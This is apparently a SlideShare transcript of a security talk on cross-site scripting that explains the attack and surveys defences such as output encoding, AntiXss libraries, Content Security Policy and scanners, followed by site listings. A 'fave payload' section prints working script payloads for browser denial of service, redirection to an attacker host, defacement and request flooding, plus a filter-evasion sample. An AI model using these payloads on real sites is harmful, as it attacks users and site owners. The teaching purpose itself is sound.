SlideShare a Scribd company logo
1 of 51
Devouring Security 
Insufficient Data Validation Risks 
Cross Site Scripting 
Marudhamaran Gunasekaran 
Watch the screen recording of the presentation at https://vimeo.com/106302349
disclaimer 
• Techniques and Tools in this presentation should be used or applied 
on an application, only with prior consent of the application’s owner. 
Illegal otherwise.
Irrational fear of risks against our children 
https://www.schneier.com/blog/archives/2014/08/irrational_fear.html
Perfect security? 
http://infosanity.files.wordpress.com/2010/06/dilbert-securitycia.gif
Information Security Triangle
XSS 
• Html equivalent of Sql injection? Some say – it indeed is 
• “Breaking out of a data context and entering a code context” – Jeff 
Williams, Chairperson, OWASP
XSS Anatomy 
• Benign Input: http://app:8020/odern/AdvSearch?q=xxxxx 
• Input: xxxxx | Output: xxxxx 
• Malicious Input: 
http://app:8020/odern/AdvSearch?q=<em>xxxxx</em> 
• Input: <em>xxxxx</em> | Output: <em>xxxxx</em> 
• Malicious Input failure: 
http://app:8020/odern/AdvSearch?q=<em>xxxxx</em> 
• Input: <em>xxxxx</em> | Output: &lt;em&gt;xxxxx&lt;/em&gt;
XSS Anatomy 
• Remember your high school? 
How you used to print a < > symbol on a html page by &lt; &gt;
Parsers in Browsers 
Html 
Parser 
CSS 
Parser 
JavaScript 
Parser
XSS 
• Breaking out of data context and entering the code context? 
• By Code context? Do I mean? 
• Html markup 
• Html attributes 
• JavaScript 
• CSS (not the XSS CSS, but the Cascading Style Sheet CSS) 
• xml
Sources of untrusted data 
• Url 
• Form data 
• Cookies 
• Request headers 
• External services 
• Database 
Request[“data”] 
$_REQUEST 
request.getParameter
Demo: XSS 101 
• We know <script>alert(‘xss’);</script> 
how about some Samy script?
Samy - http://namb.la/popular/tech.html 
Formatted code: http://security.stackexchange.com/questions/37362/why-is-the-samy-worm-considered-xss
http://www.zdnet.com/tweetdeck-xss-worm-goes-viral-7000030436/
Auto send FB credentials to the Tunisian 
government via inserted javascript on non-https 
connection
XSS Types 
• Type 0 – DOM Based 
• Type 1 – Reflected or Non-persistent XSS 
• Type 2 – Persistent or Stored XSS
Demo: Cookie hijacking and Privilege 
Escalation 
• Face/Off with John Travolta and Nicolas Cage
Demo: Cookie hijacking and Privilege 
Escalation 
• John Travolta – FBI 
• Nicolas Cage – Terrorist that planted the bomb. 
• Where is the bomb? John Travolta would find it by tricking Nicolas Cage
My fave Payload: Dos the client 
<script>var j=0;while(true){++j;setTimeout(function(){var 
i=0;while(true){++i;setTimeout(function(){var 
w=0;while(true){w++;}},0);}},0);}</script>
My fave Payload: Redirection 
• <script>window.top.location=http://www.attacker.com;</script>
My fave Payload: Defacing 
• <script>document.body.background=http://1.bp.blogspot.com/- 
ISLWH3- 
kFpo/Uai4UHCOcrI/AAAAAAAAAmA/a6y9Nq3Bk0g/s1600/logo_blue. 
gif;</script>
My fave Payload: Short XHR 
• <script>cn=1;while(true){++cn;var 
w=window,r=w.XMLHttpRequest,j;if(r)r=new r();else for(j 
in{"Msxml2":1,"Microsoft":1})try{r=new 
ActiveXObject(j+".XMLHTTP");break}catch(e){}r.open("GET",documen 
t.location,false);r.send("");}</script> 
• Better yet.. If you have jQuery 
<script>$.get('http://prowarenesssecurity:8000/Pss/c.aspx‘);</script>
Input Sanitization 
• Blacklist 
• Stop anything that starts with a < and followed by a character 
• Stop any words such as script, javascript, alert, xss 
• Stop the < > , “ ‘ 
• Fails because of elimentary evasive techniques like 
• <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> 
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet 
(Rsnake)
Blacklist vs Whitelist 
• Blacklist – Don’t allow just the bad things I tell you, rest is fine 
• What is bad? – anything that is bad today, anything the developer thinks 
• Whitelist – Allow only these, I don’t care about the rest 
• What is good? – anything the business requires in the functionality
Don’t write your own Input Sanitizers 
• http://blog.codinghorror.com/protecting-your-cookies-httponly/
AntiXss libraries 
• Microsoft AntiXss 
• AntiSamy for .Net, AntiSamy for Java 
• Reform for php
Microsoft AntiXss 
• InputSanitizer 
• For purifying html input 
• Encoder 
• For output encodring
Output encoding libraries 
• https://www.owasp.org/index.php/OWASP_Java_Encoder_Project
HttpOnly please!
Framework protections 
• Ruby on Rails, ASP.Net MVC 
• XSS protections by default by output encoding 
• But why developers don’t like it? 
• Why do they want to turn the framework protections off? 
• Because they just do not want output encoding by default because it just does not look right 
• Because they want plain html to be rendered at the UI 
• Say hello to ASP.Net MVC’s Html.Raw()
Framework Protections – Input validations 
• ASP.Net’s Request Validation 
• Why is it there? When does it get triggered? Could we bypass it? Sure. 
• <httpRuntime requestValidationMode="2.0" /> 
• AllowHtml 
• ValidateInput(false) 
• ValidateRequest=false 
• Request.Unvalidated…. 
Use explicit input validation, or AntiXss libraries 
when you have request validations turned off
Browser defenses 
• IE 
• Chrome 
• Safari 
• X-XSS-Protection: 1; mode=block
Browser defenses and bypasses 
• https://www.sysdream.com/sites/default/files/Abusing_IE8s_XSS_Filt 
ers%20(1).pdf 
• https://blog.whitehatsec.com/internet-explorer-xss-filter/ 
• http://blog.elevenpaths.com/2014/01/how-to-bypass-antixss-filter-in- 
chrome.html
XSS Defences 
• NoScript addon 
• Content-Security-Policy [No wide browser support yet especially IE]
Content Security Policy 
• ‘xxx’ is the only domain you should my 
• Scripts 
• Styles 
• Images 
• Objects 
from
Content Security Policy 
• Blocking mode 
• Reporting mode
Content Security Policy 
http://content-security-policy.com/
Content Security Policy 
http://content-security-policy.com/
Tools: Watcher Addon for Fiddler (Passive scanning)
Tools: Xss Me addon for firefox (Active 
Scanning) 
• Demonstration at http://testfire.net/
Tools: Xenotix XSS Exploit Framework
Tools: ModSecurity (Web Application Firewall)
Tools: Zed Attack Proxy
Tools: Commercial tools? 
• Go figure, shell out
XSS: Spot during code review 
Source: 24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them
XSS: Spot during code review 
Source: 24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them
Output encoding options 
• php: 
• echo htmlentities($name) 
• ASP.Net code behind: 
• lblName.Text = "Hello, " + HttpUtility.HtmlEncode(txtValue.Text); 
• lblName.Text = "Hello," + AntiXss.HtmlEncode txtValue.Text); 
• ASPX view engine : 
• <%: data %> 
• Razor view engine: 
• @data
Code Review Tools 
• Cat.Net still works with little tweaking on al older code base 
• Visual Code Grepper
Popular cheatsheets for XSS prevention 
• https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet 
• http://opensecurity.in/the-ultimate-xss-protection-cheat-sheet-for-developers/
:q!

More Related Content

What's hot

Using the Zed Attack Proxy as a Web App testing tool
Using the Zed Attack Proxy as a Web App testing toolUsing the Zed Attack Proxy as a Web App testing tool
Using the Zed Attack Proxy as a Web App testing toolDavid Sweigert
 
OWASP 2012 AppSec Dublin ZAP Intro
OWASP 2012 AppSec Dublin ZAP IntroOWASP 2012 AppSec Dublin ZAP Intro
OWASP 2012 AppSec Dublin ZAP IntroSimon Bennetts
 
[Wroclaw #2] Web Application Security Headers
[Wroclaw #2] Web Application Security Headers[Wroclaw #2] Web Application Security Headers
[Wroclaw #2] Web Application Security HeadersOWASP
 
Automating OWASP ZAP - DevCSecCon talk
Automating OWASP ZAP - DevCSecCon talk Automating OWASP ZAP - DevCSecCon talk
Automating OWASP ZAP - DevCSecCon talk Simon Bennetts
 
OWASP 2013 Limerick - ZAP: Whats even newer
OWASP 2013 Limerick - ZAP: Whats even newerOWASP 2013 Limerick - ZAP: Whats even newer
OWASP 2013 Limerick - ZAP: Whats even newerSimon Bennetts
 
Zed attack proxy [ What is ZAP(Zed Attack Proxy)? ]
Zed attack proxy [ What is ZAP(Zed Attack Proxy)? ]Zed attack proxy [ What is ZAP(Zed Attack Proxy)? ]
Zed attack proxy [ What is ZAP(Zed Attack Proxy)? ]raj upadhyay
 
BSides Manchester 2014 ZAP Advanced Features
BSides Manchester 2014 ZAP Advanced FeaturesBSides Manchester 2014 ZAP Advanced Features
BSides Manchester 2014 ZAP Advanced FeaturesSimon Bennetts
 
OWASP 2013 EU Tour Amsterdam ZAP Intro
OWASP 2013 EU Tour Amsterdam ZAP IntroOWASP 2013 EU Tour Amsterdam ZAP Intro
OWASP 2013 EU Tour Amsterdam ZAP IntroSimon Bennetts
 
The OWASP Zed Attack Proxy
The OWASP Zed Attack ProxyThe OWASP Zed Attack Proxy
The OWASP Zed Attack ProxyAditya Gupta
 
JavaOne 2014 Security Testing for Developers using OWASP ZAP
JavaOne 2014 Security Testing for Developers using OWASP ZAPJavaOne 2014 Security Testing for Developers using OWASP ZAP
JavaOne 2014 Security Testing for Developers using OWASP ZAPSimon Bennetts
 
BlackHat 2014 OWASP ZAP Turbo Talk
BlackHat 2014 OWASP ZAP Turbo TalkBlackHat 2014 OWASP ZAP Turbo Talk
BlackHat 2014 OWASP ZAP Turbo TalkSimon Bennetts
 
OWASP 2013 APPSEC USA Talk - OWASP ZAP
OWASP 2013 APPSEC USA Talk - OWASP ZAPOWASP 2013 APPSEC USA Talk - OWASP ZAP
OWASP 2013 APPSEC USA Talk - OWASP ZAPSimon Bennetts
 
2014 ZAP Workshop 2: Contexts and Fuzzing
2014 ZAP Workshop 2: Contexts and Fuzzing2014 ZAP Workshop 2: Contexts and Fuzzing
2014 ZAP Workshop 2: Contexts and FuzzingSimon Bennetts
 
2014 ZAP Workshop 1: Getting Started
2014 ZAP Workshop 1: Getting Started2014 ZAP Workshop 1: Getting Started
2014 ZAP Workshop 1: Getting StartedSimon Bennetts
 
JoinSEC 2013 London - ZAP Intro
JoinSEC 2013 London - ZAP IntroJoinSEC 2013 London - ZAP Intro
JoinSEC 2013 London - ZAP IntroSimon Bennetts
 
OWASP 2014 AppSec EU ZAP Advanced Features
OWASP 2014 AppSec EU ZAP Advanced FeaturesOWASP 2014 AppSec EU ZAP Advanced Features
OWASP 2014 AppSec EU ZAP Advanced FeaturesSimon Bennetts
 

What's hot (20)

Using the Zed Attack Proxy as a Web App testing tool
Using the Zed Attack Proxy as a Web App testing toolUsing the Zed Attack Proxy as a Web App testing tool
Using the Zed Attack Proxy as a Web App testing tool
 
Owasp zap
Owasp zapOwasp zap
Owasp zap
 
Zed Attack Proxy (ZAP)
Zed Attack Proxy (ZAP)Zed Attack Proxy (ZAP)
Zed Attack Proxy (ZAP)
 
OWASP 2012 AppSec Dublin ZAP Intro
OWASP 2012 AppSec Dublin ZAP IntroOWASP 2012 AppSec Dublin ZAP Intro
OWASP 2012 AppSec Dublin ZAP Intro
 
[Wroclaw #2] Web Application Security Headers
[Wroclaw #2] Web Application Security Headers[Wroclaw #2] Web Application Security Headers
[Wroclaw #2] Web Application Security Headers
 
OWASP Zed Attack Proxy
OWASP Zed Attack ProxyOWASP Zed Attack Proxy
OWASP Zed Attack Proxy
 
Automating OWASP ZAP - DevCSecCon talk
Automating OWASP ZAP - DevCSecCon talk Automating OWASP ZAP - DevCSecCon talk
Automating OWASP ZAP - DevCSecCon talk
 
OWASP 2013 Limerick - ZAP: Whats even newer
OWASP 2013 Limerick - ZAP: Whats even newerOWASP 2013 Limerick - ZAP: Whats even newer
OWASP 2013 Limerick - ZAP: Whats even newer
 
Zed attack proxy [ What is ZAP(Zed Attack Proxy)? ]
Zed attack proxy [ What is ZAP(Zed Attack Proxy)? ]Zed attack proxy [ What is ZAP(Zed Attack Proxy)? ]
Zed attack proxy [ What is ZAP(Zed Attack Proxy)? ]
 
BSides Manchester 2014 ZAP Advanced Features
BSides Manchester 2014 ZAP Advanced FeaturesBSides Manchester 2014 ZAP Advanced Features
BSides Manchester 2014 ZAP Advanced Features
 
OWASP 2013 EU Tour Amsterdam ZAP Intro
OWASP 2013 EU Tour Amsterdam ZAP IntroOWASP 2013 EU Tour Amsterdam ZAP Intro
OWASP 2013 EU Tour Amsterdam ZAP Intro
 
The OWASP Zed Attack Proxy
The OWASP Zed Attack ProxyThe OWASP Zed Attack Proxy
The OWASP Zed Attack Proxy
 
JavaOne 2014 Security Testing for Developers using OWASP ZAP
JavaOne 2014 Security Testing for Developers using OWASP ZAPJavaOne 2014 Security Testing for Developers using OWASP ZAP
JavaOne 2014 Security Testing for Developers using OWASP ZAP
 
BlackHat 2014 OWASP ZAP Turbo Talk
BlackHat 2014 OWASP ZAP Turbo TalkBlackHat 2014 OWASP ZAP Turbo Talk
BlackHat 2014 OWASP ZAP Turbo Talk
 
OWASP 2013 APPSEC USA Talk - OWASP ZAP
OWASP 2013 APPSEC USA Talk - OWASP ZAPOWASP 2013 APPSEC USA Talk - OWASP ZAP
OWASP 2013 APPSEC USA Talk - OWASP ZAP
 
2014 ZAP Workshop 2: Contexts and Fuzzing
2014 ZAP Workshop 2: Contexts and Fuzzing2014 ZAP Workshop 2: Contexts and Fuzzing
2014 ZAP Workshop 2: Contexts and Fuzzing
 
2014 ZAP Workshop 1: Getting Started
2014 ZAP Workshop 1: Getting Started2014 ZAP Workshop 1: Getting Started
2014 ZAP Workshop 1: Getting Started
 
JoinSEC 2013 London - ZAP Intro
JoinSEC 2013 London - ZAP IntroJoinSEC 2013 London - ZAP Intro
JoinSEC 2013 London - ZAP Intro
 
OWASP 2014 AppSec EU ZAP Advanced Features
OWASP 2014 AppSec EU ZAP Advanced FeaturesOWASP 2014 AppSec EU ZAP Advanced Features
OWASP 2014 AppSec EU ZAP Advanced Features
 
Security testautomation
Security testautomationSecurity testautomation
Security testautomation
 

Similar to Devouring Security Insufficient data validation risks Cross Site Scripting

Browser Security 101
Browser Security 101 Browser Security 101
Browser Security 101 Stormpath
 
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
Mr. Mohammed Aldoub  - A case study of django web applications that are secur...Mr. Mohammed Aldoub  - A case study of django web applications that are secur...
Mr. Mohammed Aldoub - A case study of django web applications that are secur...nooralmousa
 
Case Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultCase Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultMohammed ALDOUB
 
Django (Web Applications that are Secure by Default)
Django �(Web Applications that are Secure by Default�)Django �(Web Applications that are Secure by Default�)
Django (Web Applications that are Secure by Default)Kishor Kumar
 
Something wicked this way comes - CONFidence
Something wicked this way comes - CONFidenceSomething wicked this way comes - CONFidence
Something wicked this way comes - CONFidenceKrzysztof Kotowicz
 
Krzysztof kotowicz. something wicked this way comes
Krzysztof kotowicz. something wicked this way comesKrzysztof kotowicz. something wicked this way comes
Krzysztof kotowicz. something wicked this way comesYury Chemerkin
 
How to Destroy a Database
How to Destroy a DatabaseHow to Destroy a Database
How to Destroy a DatabaseJohn Ashmead
 
Web Security - Introduction
Web Security - IntroductionWeb Security - Introduction
Web Security - IntroductionSQALab
 
Web Security - Introduction v.1.3
Web Security - Introduction v.1.3Web Security - Introduction v.1.3
Web Security - Introduction v.1.3Oles Seheda
 
Hacking WebApps for fun and profit : how to approach a target?
Hacking WebApps for fun and profit : how to approach a target?Hacking WebApps for fun and profit : how to approach a target?
Hacking WebApps for fun and profit : how to approach a target?Yassine Aboukir
 
Securing your web application through HTTP headers
Securing your web application through HTTP headersSecuring your web application through HTTP headers
Securing your web application through HTTP headersAndre N. Klingsheim
 
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdfEN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdfGiorgiRcheulishvili
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)OWASP Khartoum
 
RSA Conference 2010 San Francisco
RSA Conference 2010 San FranciscoRSA Conference 2010 San Francisco
RSA Conference 2010 San FranciscoAditya K Sood
 
Javascript Security - Three main methods of defending your MEAN stack
Javascript Security - Three main methods of defending your MEAN stackJavascript Security - Three main methods of defending your MEAN stack
Javascript Security - Three main methods of defending your MEAN stackRan Bar-Zik
 
Tune in for the Ultimate WAF Torture Test: Bots Attack!
Tune in for the Ultimate WAF Torture Test: Bots Attack!Tune in for the Ultimate WAF Torture Test: Bots Attack!
Tune in for the Ultimate WAF Torture Test: Bots Attack!Distil Networks
 
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
Warning Ahead: SecurityStorms are Brewing in Your JavaScriptWarning Ahead: SecurityStorms are Brewing in Your JavaScript
Warning Ahead: SecurityStorms are Brewing in Your JavaScriptCyber Security Alliance
 
OWASP Top 10 Security Vulnerabilities, and Securing them with Oracle ADF
OWASP Top 10 Security Vulnerabilities, and Securing them with Oracle ADFOWASP Top 10 Security Vulnerabilities, and Securing them with Oracle ADF
OWASP Top 10 Security Vulnerabilities, and Securing them with Oracle ADFBrian Huff
 
Zen and the art of Security Testing
Zen and the art of Security TestingZen and the art of Security Testing
Zen and the art of Security TestingTEST Huddle
 
Html5 security
Html5 securityHtml5 security
Html5 securityKrishna T
 

Similar to Devouring Security Insufficient data validation risks Cross Site Scripting (20)

Browser Security 101
Browser Security 101 Browser Security 101
Browser Security 101
 
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
Mr. Mohammed Aldoub  - A case study of django web applications that are secur...Mr. Mohammed Aldoub  - A case study of django web applications that are secur...
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
 
Case Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultCase Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by Default
 
Django (Web Applications that are Secure by Default)
Django �(Web Applications that are Secure by Default�)Django �(Web Applications that are Secure by Default�)
Django (Web Applications that are Secure by Default)
 
Something wicked this way comes - CONFidence
Something wicked this way comes - CONFidenceSomething wicked this way comes - CONFidence
Something wicked this way comes - CONFidence
 
Krzysztof kotowicz. something wicked this way comes
Krzysztof kotowicz. something wicked this way comesKrzysztof kotowicz. something wicked this way comes
Krzysztof kotowicz. something wicked this way comes
 
How to Destroy a Database
How to Destroy a DatabaseHow to Destroy a Database
How to Destroy a Database
 
Web Security - Introduction
Web Security - IntroductionWeb Security - Introduction
Web Security - Introduction
 
Web Security - Introduction v.1.3
Web Security - Introduction v.1.3Web Security - Introduction v.1.3
Web Security - Introduction v.1.3
 
Hacking WebApps for fun and profit : how to approach a target?
Hacking WebApps for fun and profit : how to approach a target?Hacking WebApps for fun and profit : how to approach a target?
Hacking WebApps for fun and profit : how to approach a target?
 
Securing your web application through HTTP headers
Securing your web application through HTTP headersSecuring your web application through HTTP headers
Securing your web application through HTTP headers
 
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdfEN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
 
RSA Conference 2010 San Francisco
RSA Conference 2010 San FranciscoRSA Conference 2010 San Francisco
RSA Conference 2010 San Francisco
 
Javascript Security - Three main methods of defending your MEAN stack
Javascript Security - Three main methods of defending your MEAN stackJavascript Security - Three main methods of defending your MEAN stack
Javascript Security - Three main methods of defending your MEAN stack
 
Tune in for the Ultimate WAF Torture Test: Bots Attack!
Tune in for the Ultimate WAF Torture Test: Bots Attack!Tune in for the Ultimate WAF Torture Test: Bots Attack!
Tune in for the Ultimate WAF Torture Test: Bots Attack!
 
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
Warning Ahead: SecurityStorms are Brewing in Your JavaScriptWarning Ahead: SecurityStorms are Brewing in Your JavaScript
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
 
OWASP Top 10 Security Vulnerabilities, and Securing them with Oracle ADF
OWASP Top 10 Security Vulnerabilities, and Securing them with Oracle ADFOWASP Top 10 Security Vulnerabilities, and Securing them with Oracle ADF
OWASP Top 10 Security Vulnerabilities, and Securing them with Oracle ADF
 
Zen and the art of Security Testing
Zen and the art of Security TestingZen and the art of Security Testing
Zen and the art of Security Testing
 
Html5 security
Html5 securityHtml5 security
Html5 security
 

More from gmaran23

First Software Security Netherlands Meet Up - Delft - 18 May 2017
First Software Security Netherlands Meet Up - Delft - 18 May 2017First Software Security Netherlands Meet Up - Delft - 18 May 2017
First Software Security Netherlands Meet Up - Delft - 18 May 2017gmaran23
 
What is new in OWASP Top 10 2017 (RC) - Prowareness Tech Talk Tuesdays - 20 J...
What is new in OWASP Top 10 2017 (RC) - Prowareness Tech Talk Tuesdays - 20 J...What is new in OWASP Top 10 2017 (RC) - Prowareness Tech Talk Tuesdays - 20 J...
What is new in OWASP Top 10 2017 (RC) - Prowareness Tech Talk Tuesdays - 20 J...gmaran23
 
The Impact of Culture on Distributed Agile - DiscussAgile - May 07 2016
The Impact of Culture on Distributed Agile - DiscussAgile - May 07 2016The Impact of Culture on Distributed Agile - DiscussAgile - May 07 2016
The Impact of Culture on Distributed Agile - DiscussAgile - May 07 2016gmaran23
 
Prioritizing Portfolio Backlog to Maximize Value Steve Mayner Agile Asia 2016
Prioritizing Portfolio Backlog to Maximize Value Steve Mayner Agile Asia 2016Prioritizing Portfolio Backlog to Maximize Value Steve Mayner Agile Asia 2016
Prioritizing Portfolio Backlog to Maximize Value Steve Mayner Agile Asia 2016gmaran23
 
Performance Appraisals in Agile Environment Nagesh Sharma
Performance Appraisals in Agile Environment Nagesh SharmaPerformance Appraisals in Agile Environment Nagesh Sharma
Performance Appraisals in Agile Environment Nagesh Sharmagmaran23
 
How to Kick Start a New Scrum Team - Agility and HR at Delft Netherlands 21 J...
How to Kick Start a New Scrum Team - Agility and HR at Delft Netherlands 21 J...How to Kick Start a New Scrum Team - Agility and HR at Delft Netherlands 21 J...
How to Kick Start a New Scrum Team - Agility and HR at Delft Netherlands 21 J...gmaran23
 
What Can I Learn From You?
What Can I Learn From You?What Can I Learn From You?
What Can I Learn From You?gmaran23
 
Beefing Up Security In ASP.NET Part 2 Dot Net Bangalore 4th meet up on August...
Beefing Up Security In ASP.NET Part 2 Dot Net Bangalore 4th meet up on August...Beefing Up Security In ASP.NET Part 2 Dot Net Bangalore 4th meet up on August...
Beefing Up Security In ASP.NET Part 2 Dot Net Bangalore 4th meet up on August...gmaran23
 
Beefing Up Security In ASP.NET Dot Net Bangalore 3rd meet up on May 16 2015
Beefing Up Security In ASP.NET Dot Net Bangalore 3rd meet up on May 16 2015Beefing Up Security In ASP.NET Dot Net Bangalore 3rd meet up on May 16 2015
Beefing Up Security In ASP.NET Dot Net Bangalore 3rd meet up on May 16 2015gmaran23
 
Six steps for securing offshore development
Six steps for securing offshore developmentSix steps for securing offshore development
Six steps for securing offshore developmentgmaran23
 
Devouring Security Sqli Exploitation and Prevention
Devouring Security Sqli Exploitation and PreventionDevouring Security Sqli Exploitation and Prevention
Devouring Security Sqli Exploitation and Preventiongmaran23
 

More from gmaran23 (11)

First Software Security Netherlands Meet Up - Delft - 18 May 2017
First Software Security Netherlands Meet Up - Delft - 18 May 2017First Software Security Netherlands Meet Up - Delft - 18 May 2017
First Software Security Netherlands Meet Up - Delft - 18 May 2017
 
What is new in OWASP Top 10 2017 (RC) - Prowareness Tech Talk Tuesdays - 20 J...
What is new in OWASP Top 10 2017 (RC) - Prowareness Tech Talk Tuesdays - 20 J...What is new in OWASP Top 10 2017 (RC) - Prowareness Tech Talk Tuesdays - 20 J...
What is new in OWASP Top 10 2017 (RC) - Prowareness Tech Talk Tuesdays - 20 J...
 
The Impact of Culture on Distributed Agile - DiscussAgile - May 07 2016
The Impact of Culture on Distributed Agile - DiscussAgile - May 07 2016The Impact of Culture on Distributed Agile - DiscussAgile - May 07 2016
The Impact of Culture on Distributed Agile - DiscussAgile - May 07 2016
 
Prioritizing Portfolio Backlog to Maximize Value Steve Mayner Agile Asia 2016
Prioritizing Portfolio Backlog to Maximize Value Steve Mayner Agile Asia 2016Prioritizing Portfolio Backlog to Maximize Value Steve Mayner Agile Asia 2016
Prioritizing Portfolio Backlog to Maximize Value Steve Mayner Agile Asia 2016
 
Performance Appraisals in Agile Environment Nagesh Sharma
Performance Appraisals in Agile Environment Nagesh SharmaPerformance Appraisals in Agile Environment Nagesh Sharma
Performance Appraisals in Agile Environment Nagesh Sharma
 
How to Kick Start a New Scrum Team - Agility and HR at Delft Netherlands 21 J...
How to Kick Start a New Scrum Team - Agility and HR at Delft Netherlands 21 J...How to Kick Start a New Scrum Team - Agility and HR at Delft Netherlands 21 J...
How to Kick Start a New Scrum Team - Agility and HR at Delft Netherlands 21 J...
 
What Can I Learn From You?
What Can I Learn From You?What Can I Learn From You?
What Can I Learn From You?
 
Beefing Up Security In ASP.NET Part 2 Dot Net Bangalore 4th meet up on August...
Beefing Up Security In ASP.NET Part 2 Dot Net Bangalore 4th meet up on August...Beefing Up Security In ASP.NET Part 2 Dot Net Bangalore 4th meet up on August...
Beefing Up Security In ASP.NET Part 2 Dot Net Bangalore 4th meet up on August...
 
Beefing Up Security In ASP.NET Dot Net Bangalore 3rd meet up on May 16 2015
Beefing Up Security In ASP.NET Dot Net Bangalore 3rd meet up on May 16 2015Beefing Up Security In ASP.NET Dot Net Bangalore 3rd meet up on May 16 2015
Beefing Up Security In ASP.NET Dot Net Bangalore 3rd meet up on May 16 2015
 
Six steps for securing offshore development
Six steps for securing offshore developmentSix steps for securing offshore development
Six steps for securing offshore development
 
Devouring Security Sqli Exploitation and Prevention
Devouring Security Sqli Exploitation and PreventionDevouring Security Sqli Exploitation and Prevention
Devouring Security Sqli Exploitation and Prevention
 

Recently uploaded

Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)Wonjun Hwang
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsMiki Katsuragi
 
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage CostLeverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage CostZilliz
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenHervé Boutemy
 
Powerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time ClashPowerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time Clashcharlottematthew16
 
My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024The Digital Insurer
 
Artificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxArtificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxhariprasad279825
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfAddepto
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationRidwan Fadjar
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsMemoori
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Mark Simos
 
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationSafe Software
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfAlex Barbosa Coqueiro
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):comworks
 
Training state-of-the-art general text embedding
Training state-of-the-art general text embeddingTraining state-of-the-art general text embedding
Training state-of-the-art general text embeddingZilliz
 
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr LapshynFwdays
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...Fwdays
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
